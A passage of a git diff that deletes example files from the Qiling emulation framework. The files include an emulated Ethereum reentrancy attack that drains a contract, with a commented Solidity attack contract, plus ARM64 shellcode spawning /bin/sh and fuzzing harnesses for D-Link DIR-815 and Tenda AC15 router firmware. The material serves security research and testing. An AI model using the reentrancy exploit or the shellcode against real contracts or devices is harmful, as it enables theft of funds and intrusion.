bytecode_to_bytes(runtime_code) - - print('\n------ Attacker deposit 1 ETH to DeFi contract, Start Reentrancy Attack') - # 4. User2 pwnEtherStore with 1ETH - call_data = '0xa75e4625' + ql.arch.evm.abi.convert(['bytes4'], [bytecode_to_bytes(deposit)]) + ql.arch.evm.abi.convert(['bytes4'], [bytecode_to_bytes(withdraw)]) - - msg4 = vm.build_message(None, 1, 3000000, C2, User2, 1*10**18, bytecode_to_bytes(call_data), rt_code1) - res = vm.execute_message(msg4) - # print(res.output) - print('Attacker balance: ', vm.state.get_balance(User2)/10**18) - - print('\n------ Attacker steal Ether from DeFi contract') - # 5. User2 collectEther - call_data = '0xff11e1db' - msg5 = vm.build_message(None, 1, 3000000, C2, User2, 0, bytecode_to_bytes(call_data), rt_code1) - res = vm.execute_message(msg5) - print('Attacker balance: ', vm.state.get_balance(User2)/10**18) - - -if __name__ == '__main__': - contract_1 = '0x6080604052670de0b6b3a764000060005534801561001c57600080fd5b506103b08061002c6000396000f30060806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631031ec3114610072578063155dd5ee146100c957806327e235e3146100f65780637ddfe78d1461014d578063e2c41dbc14610178575b600080fd5b34801561007e57600080fd5b506100b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610182565b6040518082815260200191505060405180910390f35b3480156100d557600080fd5b506100f46004803603810190808035906020019092919050505061019a565b005b34801561010257600080fd5b50610137600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610317565b6040518082815260200191505060405180910390f35b34801561015957600080fd5b5061016261032f565b6040518082815260200191505060405180910390f35b610180610335565b005b60016020528060005260406000206000915090505481565b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156101e857600080fd5b60005481111515156101f957600080fd5b62093a80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421015151561024c57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168160405160006040518083038185875af192505050151561028357600080fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60026020528060005260406000206000915090505481565b60005481565b34600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505600a165627a7a72305820707bf0ae11ce52ff7b7846ede3497d41b6fadea29579773fc70e8e61c0f549f10029' - c1_deposit = '0xe2c41dbc' - c1_withdraw = '0x155dd5ee' - - contract_2 = '0x608060405234801561001057600080fd5b5033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506106dc806100616000396000f300608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630c08bf881461014d578063590e1ae314610164578063a9059cbb1461017b578063e42c08f2146101c8575b600080339150349050600060648281151561007957fe5b0614151561008657600080fd5b60648181151561009257fe5b046000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507fc848a0bc6fc10f63d456eae535b952f8768bfd21d409b4933f8032cce0432ea48183604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050005b34801561015957600080fd5b5061016261021f565b005b34801561017057600080fd5b50610179610312565b005b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610434565b005b3480156101d457600080fd5b50610209600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610658565b6040518082815260200191505060405180910390f35b600034111561022d57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561028957600080fd5b7fedf2f7451a6c99c99b58baaddbe18df51bec156fe6ae8dd3ea730168326f94cd3073ffffffffffffffffffffffffffffffffffffffff16316040518082815260200191505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b600080600034111561032357600080fd5b3391506000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081141561037557600080fd5b61038160648202610670565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f658eefd1c566207ffd3fb44f4d9b1e443698a39f8a6f7b134b3fef529e3f3f028183604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b60008034111561044357600080fd5b339050816000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561049157600080fd5b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401101561051c57600080fd5b816000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507fa25be434081445744d5b297a785f7b7073142ae4bcd91a0e7aa802f802b4e0c7828285604051808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a1505050565b60006020528060005260406000206000915090505481565b60003373ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af19250505090508015156106ac57600080fd5b50505600a165627a7a72305820e5031f476480cd5d80ec7b267c7bf4c672137328294cb6b71bbb631ce9b99fc20029' - c2_deposit = '' - c2_withdraw = '0x590e1ae3' - - template(contract_1, c1_deposit, c1_withdraw) - print('\n\n\n**************************\n\n\n') - template(contract_2, c2_deposit, c2_withdraw) - - -### genernal reentrancy poc ### - -# contract Attack { -# address victim; -# bytes4 withdraw_id; - -# constructor(address addr) { -# victim = addr; -# } - -# function pwn(bytes4 deposit, bytes4 withdraw) public payable { -# withdraw_id = withdraw; -# // attack to the nearest ether -# require(msg.value >= 1 ether); -# // send eth to the depositFunds() function -# victim.call.value(1 ether)(deposit); -# victim.call(withdraw, 1 ether); - -# //etherStore.depositFunds.value(1 ether)(); -# // start the magic -# //etherStore.withdrawFunds(1 ether); -# } - -# function collectEther() public { -# msg.sender.transfer(this.balance); -# } - -# function () payable { -# if (victim.balance > 1 ether) { -# victim.call(withdraw_id,1 ether); -# } -# } -# } \ No newline at end of file diff --git a/examples/evm/evm_simple_sc.py.orig b/examples/evm/evm_simple_sc.py.orig deleted file mode 100644 index fc99438cb..000000000 --- a/examples/evm/evm_simple_sc.py.orig +++ /dev/null @@ -1,55 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys - -sys.path.append("../..") -from qiling import * - - -def example_run_evm(): - - contract = '0x6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029' - ql = Qiling(code=contract, archtype="evm") - - # Add Balance Var to the contract - bal = ql.arch.evm.abi.convert(['uint256'], [20]) - contract = contract + bal - - user1 = ql.arch.evm.create_account(balance=100*10**18) - user2 = ql.arch.evm.create_account(balance=100*10**18) - c1 = ql.arch.evm.create_account() - - def check_balance(sender, destination): - call_data = '0x70a08231'+ql.arch.evm.abi.convert(['address'], [sender]) - msg2 = ql.arch.evm.create_message(sender, destination, call_data) - return ql.run(code=msg2) - - # Deploy runtime code - msg0 = ql.arch.evm.create_message(user1, b'', code=contract, contract_address=c1) - ql.run(code=msg0) - - # SMART CONTRACT DEPENDENT: check balance of user1, should be 20 - result = check_balance(user1, c1) - print('User1 balance =', int(result.output.hex()[2:], 16)) - - # SMART CONTRACT DEPENDENT: transform 21 from user1 to user2 - call_data = '0xa9059cbb'+ ql.arch.evm.abi.convert(['address'], [user2]) + \ - ql.arch.evm.abi.convert(['uint256'], [21]) - # print('Transfer Calldata Code: ' + call_data) - msg1 = ql.arch.evm.create_message(user1, c1, call_data) - result = ql.run(code=msg1) - if int(result.output.hex()[2:], 16) == 1: - print('User1 transfered 21 Token to User2') - - # SMART CONTRACT DEPENDENT: User1 balance underflow, MAX - 1 - result = check_balance(user1, c1) - final_balance = int(result.output.hex()[2:], 16) - print('User1 final balance =', final_balance) - # print(' also =', hex(final_balance)) - - -if __name__ == "__main__": - example_run_evm() \ No newline at end of file diff --git a/examples/evm/fuzzing/fuzz.py.orig b/examples/evm/fuzzing/fuzz.py.orig deleted file mode 100644 index a69781044..000000000 --- a/examples/evm/fuzzing/fuzz.py.orig +++ /dev/null @@ -1,18 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import afl, os, sys -from underflow_test import underflow - -afl.init() - -sys.stdin.seek(0) -in_str = sys.stdin.read().strip() - -if in_str.isdigit(): - fuzz_value = int(in_str) - underflow(fuzz_value) - -os._exit(0) \ No newline at end of file diff --git a/examples/evm/fuzzing/underflow_test.py.orig b/examples/evm/fuzzing/underflow_test.py.orig deleted file mode 100644 index b9ad9a2cc..000000000 --- a/examples/evm/fuzzing/underflow_test.py.orig +++ /dev/null @@ -1,47 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys - -sys.path.append("../../../..") -from qiling import * - - -def underflow(fuzz_balance): - code = '0x6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029' - ql = Qiling(code=code, archtype="evm") - - # Add Balance Var to the contract - bal = ql.arch.evm.abi.convert(['uint256'], [20]) - contract = code + bal - - user1 = ql.arch.evm.create_account() - user2 = ql.arch.evm.create_account() - c1 = ql.arch.evm.create_account() - - def check_balance(sender, destination): - call_data = '0x70a08231'+ql.arch.evm.abi.convert(['address'], [sender]) - msg2 = ql.arch.evm.create_message(sender, destination, call_data) - return ql.run(code=msg2) - - # Deploy runtime code - msg0 = ql.arch.evm.create_message(user1, b'', code=contract, contract_address=c1) - ql.run(code=msg0) - - # SMART CONTRACT DEPENDENT: check balance of user1, should be 20 - result = check_balance(user1, c1) - - # SMART CONTRACT DEPENDENT: transform 21 from user1 to user2 - call_data = '0xa9059cbb'+ ql.arch.evm.abi.convert(['address'], [user2]) + \ - ql.arch.evm.abi.convert(['uint256'], [fuzz_balance]) - msg1 = ql.arch.evm.create_message(user1, c1, call_data) - result = ql.run(code=msg1) - - # SMART CONTRACT DEPENDENT: User1 balance underflow, MAX - 1 - result = check_balance(user1, c1) - - if int(result.output_data.hex()[2:], 16) > 20: - raise OverflowError() - diff --git a/examples/extensions/idaplugin/custom_script.py.orig b/examples/extensions/idaplugin/custom_script.py.orig deleted file mode 100644 index 78ffca21d..000000000 --- a/examples/extensions/idaplugin/custom_script.py.orig +++ /dev/null @@ -1,37 +0,0 @@ -from qiling import * - -class QILING_IDA(): - def __init__(self): - pass - - def _show_context(self, ql:Qiling): - registers = [ k for k in ql.arch.regs.register_mapping.keys() if type(k) is str ] - for idx in range(0, len(registers), 3): - regs = registers[idx:idx+3] - s = "\t".join(map(lambda v: f"{v:4}: {ql.arch.regs.__getattr__(v):016x}", regs)) - ql.log.info(s) - - def custom_prepare(self, ql:Qiling): - ql.log.info('Context before starting emulation:') - self._show_context(ql) - - def custom_continue(self, ql:Qiling): - ql.log.info('custom_continue hook.') - self._show_context(ql) - hook = [] - return hook - - def custom_step(self, ql:Qiling): - def step_hook(ql, addr, size): - ql.log.info(f"Executing: {hex(addr)}") - self._show_context(ql) - - ql.log.info('custom_step hook') - hook = [] - hook.append(ql.hook_code(step_hook)) - return hook - - def custom_execute_selection(self, ql:Qiling): - ql.log.info('custom execute selection hook') - hook = [] - return hook \ No newline at end of file diff --git a/examples/extensions/r2/hello_r2.py.orig b/examples/extensions/r2/hello_r2.py.orig deleted file mode 100644 index ebd54c452..000000000 --- a/examples/extensions/r2/hello_r2.py.orig +++ /dev/null @@ -1,50 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append('..') - -from qiling import Qiling -from qiling.const import QL_VERBOSE -from qiling.extensions.r2 import R2 - - -def func(ql: Qiling, *args, **kwargs): - ql.os.stdout.write(b"=====hooked main=====!\n") - return - -def my_sandbox(path, rootfs): - ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DISASM) - # QL_VERBOSE.DISASM will be monkey-patched when r2 is available - r2 = R2(ql) - - # search bytes sequence using ql.mem.search - addrs = ql.mem.search(b'llo worl') # return all matching results - print(r2.at(addrs[0])) # find corresponding flag at the address and the offset to the flag - # search string using r2 - addr = r2.strings['Hello world!'].vaddr # key must be exactly same - print(addrs[0], addr) - # print xref to string "Hello world!" - print(r2.refto(addr)) - # write to string using ql.mem.write - ql.mem.write(addr, b"No hello, Bye!\x00") - - # get function address and hook it - ql.hook_address(func, r2.functions['main'].offset) - # enable trace powered by r2 symsmap - # r2.enable_trace() - ql.run() - -if __name__ == "__main__": - my_sandbox(["rootfs/x86_windows/bin/x86_hello.exe"], "rootfs/x86_windows") - - # test shellcode mode - ARM64_LIN = bytes.fromhex('420002ca210080d2400080d2c81880d2010000d4e60300aa01020010020280d2681980d2010000d4410080d2420002cae00306aa080380d2010000d4210400f165ffff54e0000010420002ca210001caa81b80d2010000d4020004d27f0000012f62696e2f736800') - print("\nLinux ARM 64bit Shellcode") - ql = Qiling(code=ARM64_LIN, archtype="arm64", ostype="linux", verbose=QL_VERBOSE.DEBUG) - r2 = R2(ql) - # disassemble 32 instructions - print(r2._cmd('pd 32')) - ql.run() diff --git a/examples/extensions/report/hello_x86_windows_json.py.orig b/examples/extensions/report/hello_x86_windows_json.py.orig deleted file mode 100644 index 10335480b..000000000 --- a/examples/extensions/report/hello_x86_windows_json.py.orig +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys - -sys.path.append("..") - -from qiling import * -from qiling.const import QL_VERBOSE -from qiling.extensions.report import generate_report - - -def my_sandbox(path, rootfs): - ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG) - ql.run() - my_json = generate_report(ql) # do something with the json - print(generate_report(ql, pretty_print=True)) # or just print it to console - - -if __name__ == "__main__": - my_sandbox(["rootfs/x86_windows/bin/x86_hello.exe"], "rootfs/x86_windows") diff --git a/examples/fuzzing/dlink_dir815/dir815_mips32el_linux.py.orig b/examples/fuzzing/dlink_dir815/dir815_mips32el_linux.py.orig deleted file mode 100644 index 7e9416044..000000000 --- a/examples/fuzzing/dlink_dir815/dir815_mips32el_linux.py.orig +++ /dev/null @@ -1,63 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -# Everything about the bug and firmware https://www.exploit-db.com/exploits/33863 - -import os,sys - -sys.path.append("../../..") -from qiling import * -from qiling.const import QL_VERBOSE -from qiling.extensions.afl import ql_afl_fuzz - -def main(input_file, enable_trace=False): - - env_vars = { - "REQUEST_METHOD": "POST", - "REQUEST_URI": "/hedwig.cgi", - "CONTENT_TYPE": "application/x-www-form-urlencoded", - "REMOTE_ADDR": "127.0.0.1", - "HTTP_COOKIE": "uid=1234&password="+"A" * 0x1000, # fill up - # "CONTENT_LENGTH": "8", # no needed - } - - ql = Qiling(["./rootfs/htdocs/web/hedwig.cgi"], "./rootfs", - verbose=QL_VERBOSE.DEBUG, env=env_vars, - console = True if enable_trace else False) - - def place_input_callback(ql: Qiling, input: bytes, _: int): - env_var = ("HTTP_COOKIE=uid=1234&password=").encode() - env_vars = env_var + input + b"\x00" + (ql.path).encode() + b"\x00" - ql.mem.write(ql.target_addr, env_vars) - - def start_afl(_ql: Qiling): - - """ - Callback from inside - """ - ql_afl_fuzz(_ql, input_file=input_file, place_input_callback=place_input_callback, exits=[ql.os.exit_point]) - - addr = ql.mem.search("HTTP_COOKIE=uid=1234&password=".encode()) - ql.target_addr = addr[0] - - main_addr = ql.os.elf_entry - ql.hook_address(callback=start_afl, address=main_addr) - - try: - ql.run() - os._exit(0) - except: - if enable_trace: - print("\nFuzzer Went Shit") - os._exit(0) - - -if __name__ == "__main__": - if len(sys.argv) == 1: - raise ValueError("No input file provided.") - if len(sys.argv) > 2 and sys.argv[1] == "-t": - main(sys.argv[2], enable_trace=True) - else: - main(sys.argv[1]) diff --git a/examples/fuzzing/linux_x8664/fuzz_x8664_linux.py.orig b/examples/fuzzing/linux_x8664/fuzz_x8664_linux.py.orig deleted file mode 100755 index c7fb84db8..000000000 --- a/examples/fuzzing/linux_x8664/fuzz_x8664_linux.py.orig +++ /dev/null @@ -1,76 +0,0 @@ -#!/usr/bin/env python3 - -"""Simple example of how to use Qiling together with AFLplusplus. - -Steps: - o Clone and build AFL++ - $ git clone https://github.com/AFLplusplus/AFLplusplus.git - $ make -C AFLplusplus - - o Build Unicorn support - $ ( cd AFLplusplus/unicorn_mode ; ./build_unicorn_support.sh ) - - o Start fuzzing - $ AFL_AUTORESUME=1 AFL_PATH="$(realpath ./AFLplusplus)" PATH="$AFL_PATH:$PATH" afl-fuzz -i afl_inputs -o afl_outputs -U -- python3 ./fuzz_x8664_linux.py @@ - - o Cleanup results - $ rm -fr afl_outputs/default/ -""" - -# No more need for importing unicornafl, try afl.ql_afl_fuzz instead! - -import os -import sys - -from typing import Optional - -sys.path.append("../../..") -from qiling import Qiling -from qiling.const import QL_VERBOSE -from qiling.extensions import pipe -from qiling.extensions import afl - -def main(input_file: str): - ql = Qiling(["./x8664_fuzz"], "../../rootfs/x8664_linux", - verbose=QL_VERBOSE.OFF, # keep qiling logging off - console=False) # thwart program output - - # redirect stdin to our mock to feed it with incoming fuzzed keystrokes - ql.os.stdin = pipe.SimpleInStream(sys.stdin.fileno()) - - def place_input_callback(ql: Qiling, input: bytes, persistent_round: int) -> Optional[bool]: - """Feed generated stimuli to the fuzzed target. - - This method is called with every fuzzing iteration. - """ - - # feed fuzzed input to our mock stdin - ql.os.stdin.write(input) - - # signal afl to proceed with this input - return True - - def start_afl(ql: Qiling): - """Have Unicorn fork and start instrumentation. - """ - - afl.ql_afl_fuzz(ql, input_file=input_file, place_input_callback=place_input_callback, exits=[ql.os.exit_point]) - - # get image base address - ba = ql.loader.images[0].base - - # make the process crash whenever __stack_chk_fail@plt is about to be called. - # this way afl will count stack protection violations as crashes - ql.hook_address(callback=lambda x: os.abort(), address=ba + 0x126e) - - # set afl instrumentation [re]starting point. we set it to 'main' - ql.hook_address(callback=start_afl, address=ba + 0x1275) - - # okay, ready to roll - ql.run() - -if __name__ == "__main__": - if len(sys.argv) == 1: - raise ValueError("No input file provided.") - - main(sys.argv[1]) diff --git a/examples/fuzzing/linux_x8664/libfuzzer_x8664_linux.py.orig b/examples/fuzzing/linux_x8664/libfuzzer_x8664_linux.py.orig deleted file mode 100755 index e8e3e56ff..000000000 --- a/examples/fuzzing/linux_x8664/libfuzzer_x8664_linux.py.orig +++ /dev/null @@ -1,41 +0,0 @@ -#!/usr/bin/python3 - -from fuzzercorn import * -from unicorn import * -from qiling import Qiling -from qiling.extensions import pipe - -import sys, os, ctypes - -class SimpleFuzzer: - - def run(self): - ql = Qiling(["./x8664_fuzz"], "../../rootfs/x8664_linux", console=False) - ba = ql.loader.images[0].base - try: - # Only instrument the function `fun`, so we don't need to instrument libc and ld - FuzzerCornFuzz(ql.uc, sys.argv, [ql.os.exit_point], self.place_input, self.init, UserData=ql, Ranges=[(ba + 0x1179, ba + 0x122B)], CountersCount=4096) - except Exception as ex: - os.abort() # Quick exit - - def place_input(self, uc: Uc, data: ctypes.Array, ql: Qiling): - ql.restore(self.snapshot) - ql.os.stdin = pipe.SimpleInStream(1) - ql.os.stdin.write(bytes(data)) - return 1 - - def init(self, uc: Uc, argv: list, ql: Qiling): - ba = ql.loader.images[0].base - ql.hook_address(callback=lambda x: os.abort(), address=ba + 0x1225) # ___stack_chk_fail - ql.run(end=ba + 0x122c) # Run to main. - - # Save a snapshot. - self.snapshot = ql.save() - return 0 - - -if __name__ == "__main__": - # chmod +x ./libfuzzer_x8664_linux.py - # ./libfuzzer_x8664_linux.py -jobs=6 -workers=6 - SimpleFuzzer().run() - diff --git a/examples/fuzzing/qnx_arm/fuzz_arm_qnx.py.orig b/examples/fuzzing/qnx_arm/fuzz_arm_qnx.py.orig deleted file mode 100755 index 2e13e2294..000000000 --- a/examples/fuzzing/qnx_arm/fuzz_arm_qnx.py.orig +++ /dev/null @@ -1,90 +0,0 @@ -#!/usr/bin/env python3 -""" -Simple example of how to use Qiling together with AFLplusplus. -This is tested with the recent Qiling framework (the one you cloned), -afl++ from https://github.com/AFLplusplus/AFLplusplus - -After building afl++, make sure you install `unicorn_mode/setup_unicorn.sh` - -Then, run this file using afl++ unicorn mode with -afl-fuzz -i ./afl_inputs -o ./afl_outputs -m none -U -- python3 ./fuzz_x8664_linux.py @@ -""" - -# No more need for importing unicornafl, try ql.afl_fuzz instead! - -import sys, os -from binascii import hexlify - -sys.path.append("../../..") -from qiling import * -from qiling.extensions import pipe -from qiling.extensions.afl import ql_afl_fuzz - -def main(input_file, enable_trace=False): - ql = Qiling(["./arm_fuzz"], "../../rootfs/arm_qnx", console=enable_trace) - - ql.os.stdin = pipe.SimpleInStream(sys.stdin.fileno()) - - if not enable_trace: - ql.os.stdout = pipe.NullOutStream(sys.stdout.fileno()) - ql.os.stderr = pipe.NullOutStream(sys.stderr.fileno()) - - def place_input_callback(ql: Qiling, input: bytes, _: int): - ql.os.stdin.write(input) - return True - - def start_afl(_ql: Qiling): - ql_afl_fuzz(_ql, input_file=input_file, place_input_callback=place_input_callback, exits=[ql.os.exit_point]) - - LIBC_BASE = int(ql.profile.get("OS32", "interp_address"), 16) - - # crash in case we reach SignalKill - ql.hook_address(callback=lambda x: os.abort(), address=LIBC_BASE + 0x38170) - - # Add hook at main() that will fork Unicorn and start instrumentation. - main_addr = 0x08048aa0 - ql.hook_address(callback=start_afl, address=main_addr) - - if enable_trace: - # The following lines are only for `-t` debug output - md = ql.arch.disassembler - count = [0] - - def spaced_hex(data): - return b' '.join(hexlify(data)[i:i+2] for i in range(0, len(hexlify(data)), 2)).decode('utf-8') - - def disasm(count, ql, address, size): - buf = ql.mem.read(address, size) - try: - for i in md.disasm(buf, address): - return "{:08X}\t{:08X}: {:24s} {:10s} {:16s}".format(count[0], i.address, spaced_hex(buf), i.mnemonic, - i.op_str) - except: - import traceback - print(traceback.format_exc()) - - def trace_cb(ql, address, size, count): - rtn = '{:100s}'.format(disasm(count, ql, address, size)) - print(rtn) - count[0] += 1 - - ql.hook_code(trace_cb, count) - - # okay, ready to roll. - # try: - ql.run() - # except Exception as ex: - # # Probable unicorn memory error. Treat as crash. - # print(ex) - # os.abort() - - os._exit(0) # that's a looot faster than tidying up. - - -if __name__ == "__main__": - if len(sys.argv) == 1: - raise ValueError("No input file provided.") - if len(sys.argv) > 2 and sys.argv[1] == "-t": - main(sys.argv[2], enable_trace=True) - else: - main(sys.argv[1]) diff --git a/examples/fuzzing/stm32f429/fuzz.py.orig b/examples/fuzzing/stm32f429/fuzz.py.orig deleted file mode 100644 index 3f90bd212..000000000 --- a/examples/fuzzing/stm32f429/fuzz.py.orig +++ /dev/null @@ -1,56 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import os -import sys - -from typing import Any, Optional - -sys.path.append("../../..") -from qiling.core import Qiling -from qiling.const import QL_VERBOSE - -from qiling.extensions.afl import ql_afl_fuzz_custom -from qiling.extensions.mcu.stm32f4 import stm32f429 - -from unicorn import UC_ERR_OK, UcError - -def main(input_file: str): - ql = Qiling(["../../rootfs/mcu/stm32f429/bof.elf"], - archtype="cortex_m", - env=stm32f429, - ostype='mcu', - verbose=QL_VERBOSE.DISABLED) - - ql.hw.create('rcc') - ql.hw.create('usart2') - ql.hw.create('usart3') - - ql.fast_mode = True - - def place_input_callback(ql: Qiling, input_bytes: bytes, persistent_round: int) -> Optional[bool]: - """Called with every newly generated input.""" - - ql.hw.usart3.send(input_bytes) - - return True - - def fuzzing_callback(ql: Qiling): - ql.run(end=0x80006d9) - - return UC_ERR_OK - - ql.uc.ctl_exits_enabled(True) - ql.uc.ctl_set_exits([0x80006d9]) - - ql_afl_fuzz_custom(ql, input_file, place_input_callback, fuzzing_callback=fuzzing_callback) - - os.exit(0) - -if __name__ == "__main__": - if len(sys.argv) == 1: - raise ValueError("No input file provided.") - - main(sys.argv[1]) \ No newline at end of file diff --git a/examples/fuzzing/tenda_ac15/fuzz_tendaac15_httpd.py.orig b/examples/fuzzing/tenda_ac15/fuzz_tendaac15_httpd.py.orig deleted file mode 100644 index d30d01de4..000000000 --- a/examples/fuzzing/tenda_ac15/fuzz_tendaac15_httpd.py.orig +++ /dev/null @@ -1,63 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - - -# 1. Download AC15 Firmware from https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip -# 2. unzip -# 3. binwalk -e US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin -# 4. locate squashfs-root -# 5. rm -rf webroot && mv webroot_ro webroot -# 5. mv etc_ro etc - -import os, pickle, socket, sys, threading - -sys.path.append("../../../") -from qiling import * -from qiling.const import QL_VERBOSE -from qiling.extensions.afl import ql_afl_fuzz - -def patcher(ql): - br0_addr = ql.mem.search("br0".encode() + b'\x00') - for addr in br0_addr: - ql.mem.write(addr, b'lo\x00') - - -def main(input_file, enable_trace=False): - ql = Qiling(["rootfs/bin/httpd"], "rootfs", verbose=QL_VERBOSE.DEBUG, console = True if enable_trace else False) - - # save current emulated status - ql.restore(snapshot="snapshot.bin") - - # return should be 0x7ff3ca64 - fuzz_mem=ql.mem.search(b"CCCCAAAA") - target_address = fuzz_mem[0] - - def place_input_callback(_ql: Qiling, input: bytes, _): - _ql.mem.write(target_address, input) - - def start_afl(_ql: Qiling): - """ - Callback from inside - """ - ql_afl_fuzz(_ql, input_file=input_file, place_input_callback=place_input_callback, exits=[ql.os.exit_point]) - - ql.hook_address(callback=start_afl, address=0x10930+8) - - try: - ql.run(begin = 0x10930+4, end = 0x7a0cc+4) - os._exit(0) - except: - if enable_trace: - print("\nFuzzer Went Shit") - os._exit(0) - -if __name__ == "__main__": - if len(sys.argv) == 1: - raise ValueError("No input file provided.") - - if 